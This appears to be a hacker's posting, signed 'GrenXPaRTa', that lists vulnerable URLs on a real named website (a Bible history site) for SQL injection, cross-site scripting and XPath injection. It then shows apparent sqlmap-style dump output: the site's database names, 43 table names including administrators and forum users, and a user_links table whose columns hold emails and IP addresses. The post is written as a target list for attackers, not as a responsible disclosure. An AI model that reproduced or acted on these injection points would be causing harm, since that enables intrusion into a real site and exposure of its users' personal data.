Full SQLi + XSS www.bible-history.com By GrenXPaRTa

Taret   : http://www.bible-history.com/

Vulnerability Types:-
                      (Sqli)
http://www.bible-history.com/subcat.php?id=16
http://www.bible-history.com/subcat.php?id=99999999
http://www.bible-history.com/subcat.php?id=
http://www.bible-history.com/isbe/^search_term=1
http://www.bible-history.com/isbe/^search_term=
http://www.bible-history.com/kjv/
http://www.bible-history.com/faussets/
http://www.bible-history.com/links.php?sub=41&cat_name=Ancient+Documents&subcat_name=Bible&cat=16
http://www.bible-history.com/links.php?sub=41&cat_name=Ancient+Documents&subcat_name=Bible&cat=99999999
http://www.bible-history.com/links.php?sub=41&cat_name=Ancient+Documents&subcat_name=Bible&cat=
http://www.bible-history.com/links.php?cat_name=Ancient+Documents&subcat_name=Ancient+History&cat=16&sub=44
http://www.bible-history.com/links.php?cat_name=Ancient+Documents&subcat_name=Ancient+History&cat=16&sub=99999999
http://www.bible-history.com/links.php?cat_name=Ancient+Documents&subcat_name=Ancient+History&cat=16&sub=
                       (XSS)
http://www.bible-history.com/subcat.php?id=16
http://www.bible-history.com/hitchcock/
http://www.bible-history.com/eastons/
http://www.bible-history.com/smiths/
http://www.bible-history.com/naves/
http://www.bible-history.com/isbe/
http://www.bible-history.com/kjv/
http://www.bible-history.com/faussets/
http://www.bible-history.com/studybible/
http://www.bible-history.com/links.php?cat=16&sub=104&cat_name=Ancient+Documents&subcat_name=Josephus
http://www.bible-history.com/links.php?cat=16&sub=107&cat_name=Ancient+Documents&subcat_name=Greco-Roman
http://www.bible-history.com/links.php?cat=16&sub=241&cat_name=Ancient+Documents&subcat_name=Papyrology
http://www.bible-history.com/links.php?cat=16&sub=108&cat_name=Ancient+Documents&subcat_name=Collections
                        (XPath Injection)
http://www.bible-history.com/hitchcock/
http://www.bible-history.com/eastons/
http://www.bible-history.com/smiths/
http://www.bible-history.com/naves/
http://www.bible-history.com/isbe/
http://www.bible-history.com/kjv/
http://www.bible-history.com/faussets/
http://www.bible-history.com/studybible/

Database:-
available databases [5]:
[*] bible_glossary
[*] bible_history
[*] information_schema
[*] keywords
[*] kidsdict

Database: bible_history
[43 tables]
+--------------------+
| Emails             |
| administrators     |
| bho_board_bans     |
| bho_board_forums   |
| bho_board_posts    |
| bho_board_search   |
| bho_board_topics   |
| bho_board_users    |
| bible_book         |
| books              |
| cat                |
| categories         |
| chapters           |
| chapters1          |
| eastons            |
| guestbook          |
| isbe               |
| kingjames          |
| kjv_verse          |
| links              |
| mathew             |
| naves              |
| questions          |
| series             |
| smiths             |
| smiths_ref         |
| sub                |
| subjects           |
| tbl_dictionary     |
| tbl_fausset        |
| tbl_gfd            |
| tbl_hitchcock      |
| tbl_hollman        |
| tbl_ibhcategory    |
| tbl_ibhsubcategory |
| tbl_image          |
| tbl_isbe           |
| tbl_sdas           |
| tbl_the            |
| tbl_tt             |
| tbl_vcx            |
| user_links         |
| web_verse          |
+--------------------+

Database: bible_history
Table: user_links
[12 columns]
+-------------------------+-------------+
| Column                  | Type        |
+-------------------------+-------------+
| catid                   | int(11)     |
| sid                     | int(11)     |
| user_link_approval_code | varchar(32) |
| user_link_creation_date | date        |
| user_link_ip_address    | varchar(20) |
| user_links_description  | text        |
| user_links_email        | varchar(50) |
| user_links_is_real      | char(1)     |
| user_links_note         | text        |
| user_links_onlinestatus | char(1)     |
| user_links_title        | text        |
| user_links_url          | text        |
+-------------------------+-------------+